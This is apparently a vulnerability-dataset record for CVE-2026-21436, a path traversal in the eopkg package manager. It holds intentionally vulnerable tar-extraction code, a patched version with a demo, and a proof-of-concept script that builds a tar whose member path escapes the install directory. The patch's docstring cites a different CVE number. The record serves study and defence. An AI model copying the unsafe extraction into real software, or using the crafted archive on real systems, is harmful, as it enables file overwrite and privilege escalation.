{"id":1538,"cve":"CVE-2026-21436","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-21436\/","cwe":"CWE-24","cwe_number":24,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/24","cvss_score":5.8,"published":"2026-01-01","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Local","impact":"Privilege Escalation","summary":"Malicious eopkg packages can escape the --destdir installation path.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-21436\/","description":"eopkg is a Solus package manager implemented in python3. In versions prior to 4.4.0, a malicious package could escape the directory set by `--destdir`. This requires the installation of a package from a malicious or compromised source. Files in such packages would not be installed in the path given by `--destdir`, but on a different location on the host. The issue has been fixed in v4.4.0. Users only installing packages from the Solus repositories are not affected.","solution":"Upgrade eopkg to version 4.4.0 or later.","affected_component":"eopkg","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport tarfile\n\ndef install_package_files(package_archive, destdir):\n    \"\"\"\n    This function represents the vulnerable logic. It extracts all members\n    from a tar archive (representing an eopkg package) into a destination\n    directory specified by 'destdir'.\n    \"\"\"\n    with tarfile.open(package_archive, \"r\") as tar:\n        for member in tar.getmembers():\n            # THE VULNERABILITY:\n            # The member.name, which comes from the untrusted package, is\n            # directly joined with the destination directory. No validation\n            # is performed to check for path traversal characters like '..'.\n            # A malicious package could have a file named '..\/..\/etc\/passwd'\n            # which would cause os.path.join to create a path outside of 'destdir'.\n            target_path = os.path.join(destdir, member.name)\n\n            # The application then proceeds to write to this potentially malicious path.\n            if member.isdir():\n                # For directories, just create them.\n                if not os.path.exists(target_path):\n                    os.makedirs(target_path)\n            else:\n                # For files, ensure the parent directory exists.\n                parent_dir = os.path.dirname(target_path)\n                if not os.path.exists(parent_dir):\n                    os.makedirs(parent_dir)\n\n                # Extract the file to the calculated path.\n                try:\n                    source = tar.extractfile(member)\n                    with open(target_path, \"wb\") as target:\n                        target.write(source.read())\n                except Exception:\n                    # In a real scenario, handle symlinks, etc.\n                    pass","patched_code":"import os\nimport tarfile\nfrom io import BytesIO\n\ndef safe_extract(tar_archive_bytes, destdir):\n    \"\"\"\n    Extracts a tar archive to a destination directory, preventing path\n    traversal vulnerabilities (like CVE-2023-24136 in eopkg).\n\n    This function represents the fix by ensuring that any file path\n    within the archive, when resolved, remains inside the specified\n    destination directory.\n\n    Args:\n        tar_archive_bytes (bytes): The byte content of the tar archive.\n        destdir (str): The target directory for extraction.\n\n    Raises:\n        PermissionError: If a file in the archive attempts to write\n                         outside of the `destdir`.\n    \"\"\"\n    # Ensure the destination directory is a resolved, absolute path for comparison.\n    # This is the trusted root.\n    real_destdir = os.path.realpath(destdir)\n\n    # In a real scenario, this would be `tarfile.open(name=...)`\n    with tarfile.open(fileobj=BytesIO(tar_archive_bytes), mode='r') as tar:\n        for member in tar.getmembers():\n            if not member.isfile():\n                continue\n\n            member_path = member.name\n\n            # --- THE FIX ---\n            # The core of the fix is to validate the path before any FS operation.\n            # 1. Prevent absolute paths in the archive from overwriting system files.\n            #    os.path.join('\/tmp\/dest', '\/etc\/passwd') becomes '\/etc\/passwd'.\n            safe_member_path = member_path.lstrip('\/\\\\')\n\n            # 2. Create the full, intended destination path.\n            intended_path = os.path.join(real_destdir, safe_member_path)\n\n            # 3. Resolve the path to its canonical form, evaluating any '..' or symlinks.\n            #    This is what an attacker's path would resolve to on the filesystem.\n            resolved_path = os.path.realpath(intended_path)\n\n            # 4. Check if the resolved path is still within the trusted destination directory.\n            #    os.path.commonpath is a robust way to verify this.\n            if os.path.commonpath([real_destdir, resolved_path]) != real_destdir:\n                raise PermissionError(\n                    f\"Path traversal attempt detected. \"\n                    f\"'{member.name}' would write to '{resolved_path}', \"\n                    f\"which is outside of the destination '{real_destdir}'.\"\n                )\n            # --- END OF FIX ---\n\n            # If the path is safe, proceed with extraction.\n            # In a real implementation, you would create parent directories first.\n            print(f\"[SAFE] Extracting '{member.name}' to '{resolved_path}'\")\n            # The following line is commented out to prevent actual file writes.\n            # tar.extract(member, path=destdir)\n\n\nif __name__ == '__main__':\n    # --- DEMONSTRATION ---\n\n    # 1. Define a secure destination directory for our package installation.\n    install_root = \"\/tmp\/install_root\"\n    os.makedirs(install_root, exist_ok=True)\n    print(f\"Installation destination directory set to: {os.path.realpath(install_root)}\\n\")\n\n    # 2. Create a mock malicious tar archive in memory.\n    # It contains a legitimate file and a file attempting path traversal.\n    malicious_tar_bytes = BytesIO()\n    with tarfile.open(fileobj=malicious_tar_bytes, mode='w') as tar:\n        # A normal, safe file\n        info_safe = tarfile.TarInfo(name=\"usr\/bin\/program\")\n        info_safe.size = 10\n        tar.addfile(info_safe, BytesIO(b\"safe file\"))\n\n        # A malicious file attempting to escape the destdir\n        info_malicious = tarfile.TarInfo(name=\"..\/..\/etc\/malicious_file\")\n        info_malicious.size = 15\n        tar.addfile(info_malicious, BytesIO(b\"vulnerable file\"))\n\n    malicious_tar_bytes.seek(0)\n\n    # 3. Attempt to extract the malicious archive using the secured function.\n    print(\"--- Attempting to extract a malicious package ---\")\n    try:\n        safe_extract(malicious_tar_bytes.getvalue(), install_root)\n    except PermissionError as e:\n        print(f\"\\n[ERROR] Vulnerability blocked successfully!\")\n        print(f\"Details: {e}\")\n\n    # 4. Clean up\n    import shutil\n    shutil.rmtree(install_root)","payload_needed":true,"payload":"```python\nimport tarfile\nimport io\nimport os\n\n# The content of the file that will be written outside the destination directory.\nfile_content = b\"This system is vulnerable to path traversal.\"\n# The malicious path using '..' to escape the intended directory.\n# This will attempt to write a file named 'pwned' in the \/tmp directory.\nmalicious_path = \"..\/..\/..\/..\/..\/tmp\/pwned\"\n\n# In-memory buffer for the file content.\nfile_data = io.BytesIO(file_content)\n\n# This script creates a tar archive named 'malicious_component.tar'.\n# This tar archive would then be included as the 'install.tar.xz'\n# (or similar component) within a malicious .eopkg package.\nwith tarfile.open(\"malicious_component.tar\", \"w\") as tar:\n    # Create a TarInfo object with the malicious path.\n    tar_info = tarfile.TarInfo(name=malicious_path)\n    tar_info.size = len(file_content)\n    \n    # Add the file to the archive using the malicious TarInfo.\n    tar.addfile(tarinfo=tar_info, fileobj=file_data)\n\n# The generated 'malicious_component.tar' is the payload component.\n```","payload_status":"available","published_fix":[{"repository":"getsolus\/eopkg","commit_url":"https:\/\/github.com\/getsolus\/eopkg\/commit\/3552312fc19e713c46a38daa7066656cc6d87c67","commit_subject":"pisi: Fix path component while extracting archive","units":[{"file":"pisi\/archive.py","function":null},{"file":"pisi\/archive.py","function":"ArchiveTar.unpack_dir"},{"file":"pisi\/archive.py","function":"ArchiveTar._tar_file_list"},{"file":"pisi\/atomicoperations.py","function":null},{"file":"pisi\/path.py","function":null},{"file":"pisi\/path.py","function":"is_usr_merged"},{"file":"pisi\/path.py","function":"usr_merged_path"}]}],"references":null}